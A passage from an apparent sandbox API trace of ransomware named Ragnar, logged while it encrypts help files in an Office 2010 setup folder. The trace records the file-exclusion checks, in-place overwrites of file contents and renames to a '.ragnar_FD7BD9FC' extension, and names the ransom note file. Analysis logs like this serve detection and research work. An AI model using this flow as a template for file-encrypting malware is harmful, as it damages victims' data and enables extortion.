Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.978] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="PSS10O.CHM" | out: lpString1="PSS10O.CHM") returned="PSS10O.CHM" [0061.978] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned=".CHM" [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="autorun.inf") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="boot.ini") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="bootfont.bin") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="bootsect.bak") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="bootmgr") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="bootmgr.efi") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="bootmgfw.efi") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="desktop.ini") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="iconcache.db") returned 1 [0061.978] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="ntldr") returned 1 [0061.979] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="ntuser.dat") returned 1 [0061.979] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="ntuser.dat.log") returned 1 [0061.979] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="ntuser.ini") returned 1 [0061.979] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="thumbs.db") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0061.979] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0061.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0061.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.979] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=26929) returned 1 [0061.979] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x6928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.979] GetProcessHeap () returned 0x580000 [0061.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.979] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.981] VirtualAlloc (lpAddress=0x0, dwSize=0x6931, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.981] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.981] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.981] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x6931, lpOverlapped=0x0) returned 1 [0061.982] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.983] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6931, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.983] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6931, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x6931, lpOverlapped=0x0) returned 1 [0061.983] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6931, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.983] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.983] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x6931, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.983] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.983] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.983] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.983] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.983] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.984] GetProcessHeap () returned 0x580000 [0061.984] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.984] CloseHandle (hObject=0x108) returned 1 [0061.985] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" [0061.985] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.ragnar_FD7BD9FC" [0061.985] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0061.985] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.985] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="PSS10R.CHM" | out: lpString1="PSS10R.CHM") returned="PSS10R.CHM" [0061.985] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned=".CHM" [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="autorun.inf") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="boot.ini") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="bootfont.bin") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="bootsect.bak") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="bootmgr") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="bootmgr.efi") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="bootmgfw.efi") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="desktop.ini") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="iconcache.db") returned 1 [0061.985] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="ntldr") returned 1 [0061.986] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="ntuser.dat") returned 1 [0061.986] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="ntuser.dat.log") returned 1 [0061.986] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="ntuser.ini") returned 1 [0061.986] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="thumbs.db") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0061.986] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0061.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0061.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.556] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=27195) returned 1 [0062.558] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x6a32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.594] GetProcessHeap () returned 0x580000 [0062.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.610] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.711] VirtualAlloc (lpAddress=0x0, dwSize=0x6a3b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.732] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.739] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.739] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x6a3b, lpOverlapped=0x0) returned 1 [0062.740] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.740] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a3b, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.740] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x6a3b, lpOverlapped=0x0) returned 1 [0062.741] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a3b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.741] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.741] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x6a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.741] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.741] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.741] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.741] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.741] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.741] GetProcessHeap () returned 0x580000 [0062.741] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.741] CloseHandle (hObject=0x108) returned 1 [0062.742] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" [0062.742] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.ragnar_FD7BD9FC" [0062.743] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.743] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77236e40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0062.743] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.743] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.743] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0062.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0062.743] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="SETUP.CHM" | out: lpString1="SETUP.CHM") returned="SETUP.CHM" [0062.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned=".CHM" [0062.743] lstrcmpiW (lpString1="SETUP.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.743] lstrcmpiW (lpString1="SETUP.CHM", lpString2="autorun.inf") returned 1 [0062.743] lstrcmpiW (lpString1="SETUP.CHM", lpString2="boot.ini") returned 1 [0062.743] lstrcmpiW (lpString1="SETUP.CHM", lpString2="bootfont.bin") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="bootsect.bak") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="bootmgr") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="bootmgr.efi") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="bootmgfw.efi") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="desktop.ini") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="iconcache.db") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="ntldr") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="ntuser.dat") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="ntuser.dat.log") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="ntuser.ini") returned 1 [0062.744] lstrcmpiW (lpString1="SETUP.CHM", lpString2="thumbs.db") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0062.744] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0062.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0062.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.803] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=67190) returned 1 [0062.803] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1066d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.803] GetProcessHeap () returned 0x580000 [0062.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.804] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.805] VirtualAlloc (lpAddress=0x0, dwSize=0x10676, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.805] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.805] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.805] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x10676, lpOverlapped=0x0) returned 1 [0062.812] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.813] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10676, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.813] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x10676, lpOverlapped=0x0) returned 1 [0062.813] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10676, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.813] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.814] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x10676, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.814] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.814] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.814] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.814] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.814] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.814] GetProcessHeap () returned 0x580000 [0062.814] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.814] CloseHandle (hObject=0x108) returned 1 [0062.815] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" [0062.816] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 